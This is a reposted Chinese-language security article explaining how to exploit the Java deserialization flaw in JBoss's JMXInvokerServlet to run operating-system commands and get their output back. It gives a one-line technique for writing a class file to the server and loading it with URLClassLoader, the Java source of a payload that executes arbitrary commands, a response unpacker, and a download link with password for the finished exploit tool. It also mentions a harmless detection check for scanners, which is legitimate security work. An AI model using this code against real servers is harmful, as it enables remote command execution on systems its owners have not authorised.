Java反序列化漏洞執行命令回顯實現及Exploit下載


原文地址:http://www.freebuf.com/tools/88908.html

 

本文原創作者:rebeyond

文中提及的部分技術、工具可能帶有一定攻擊性,僅供安全學習和教學用途,禁止非法使用!

0×00 前言

前段時間java 的反序列化漏洞吵得沸沸揚揚,從剛開始國外某牛的一個可以執行OS命令的payload生成器,到后來的通過URLClassLoader來加載遠程類來反彈shell。但是后來公司漏掃需要加規則來識別這種漏洞,而客戶的漏掃又時常會工作在純內網的環境下,因此遠程加載類的方法行不通。想到自己寫一個利用工具,於是有了下面這篇文章(本文以JBOSS為例)。

0×01目標

1.   EXP只能利用服務器本機的資源,不能加載遠程類。
2.   上傳任意文件至任意目錄。
3.   獲取命令執行的回顯內容。

0×02實現

EXP只能利用服務器本機的資源,不能加載遠程類:

通過對漏洞成因分析可以得知,我們只能通過鏈式調用來執行java語句。換句話說,我們所想執行的語句必須可以寫到一行里面,而且還不能帶分號:( 其實這里很好突破,我們只要把我們想要執行的任意代碼(無論有多長)在本地編譯成class,然后把class字節碼上傳到服務器就可以了。然后問題又來了,怎么上傳呢,上傳到什么路徑下面呢?上傳可以通過FileOutputStream這個類來實現,上傳路徑就更簡單了,直接給FileOutputStream傳個“.”過去,上傳到程序運行的當前目錄下面,一句話代碼:new FileOutputStream(“./payload.class”).write(new byte[]{0xXX,0xXX……})。上傳的問題解決了,下面執行也就好辦了,一句代碼:java.net.URLClassLoader. getConstructor(java.net.URL[].class). newInstance(new java.net.URL[] {new java.net.URL("file:./")}). loadClass(“payload”). newInstance(“cmd.exe /c whoami”)。

這樣就解決了我們的兩個目標,只利用服務器本機資源,不需要聯網,可以上傳任意文件至任意目錄。

獲取命令回顯內容:

通過對JBOSS中invoker/JMXInvokerServlet的返回結果進行分析,得知返回的是一個 MarshalledValue對象,該對象封裝了invoker/JMXInvokerServlet的返回值,如果執行過程中有異常拋出,一個InvocationException對象就會封裝在MarshalledValue對象里面。到這里思路就很明確了,java 的異常有個構造函數是可以傳String參數的,我們可以把第一步那個class文件中命令執行的結果作為參數構造一個Exception,然后在payload.class最后throw這個Exception,這樣這個帶有回顯內容的Exception就會封裝在MarshalledValue對象里面通過http協議返回,我們只要把返回的MarshalledValue對象解包,就可以獲取回顯的內容了。

下面給出payload.java的源代碼:

import java.io.BufferedReader; import java.io.InputStreamReader; public class RunCheckConfig {     public RunCheckConfig(String  args) throws Exception     {         Process proc = Runtime.getRuntime().exec(args);         BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));         StringBuffer sb = new StringBuffer();         String line;         while ((line = br.readLine()) != null)         {             sb.append(line).append("\n");         }         String result = sb.toString();         Exception e=new Exception(result);         throw e;         }     }

  解包程序的源代碼:

public static void main(String args[]) throws Exception    {         FileInputStream fis = new FileInputStream("d:/response.bin");          byte TempByte[]=new byte[5000*1000];            int length=fis.read(TempByte);            int ClassStart=0;            for (int i=0;i<length;i++)            {             if (TempByte[i]==0x0d&&TempByte[i+1]==0x0a&&TempByte[i+2]==0x0d&&TempByte[i+3]==0x0a)             {                 System.out.println(i);                 ClassStart=i;                 break;             }            }            byte ClassByte[]=new byte[length-ClassStart-4];            for (int i=0;i<ClassByte.length;i++)            {             ClassByte[i]=TempByte[i+ClassStart+4];            }            fis.close();            TempByte=null;            ByteArrayInputStream ai=new ByteArrayInputStream(ClassByte);           ObjectInputStream ois = new ObjectInputStream(ai);            MarshalledValue st1 = (MarshalledValue) ois.readObject();           InvocationException o=(InvocationException) st1.get();           System.out.println(o.getTargetException().getCause().getCause().getCause().getMessage()); }

下面是解包后的截圖:

0×03總結

到這里我們本文的三個目標都已經完成了。

對於本文的初衷,如何讓漏掃來判斷是否存在漏洞,就更簡單了,只要一句代碼就可以了:new FileOutputStream("\u0000");,然后在返回內容里查找字符串“java.io.FileNotFoundException”,或者像我們前面做的那樣,解包然后判斷exception的類型是不是java.io.FileNotFoundException。

另外,附上該Exploit的成品截圖及下載地址,僅供研究,請勿用於任何非法活動:

下載地址:鏈接:http://share.weiyun.com/2d8bac0d1a61378f5b0be06a42eca962 (密碼:Po4i)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM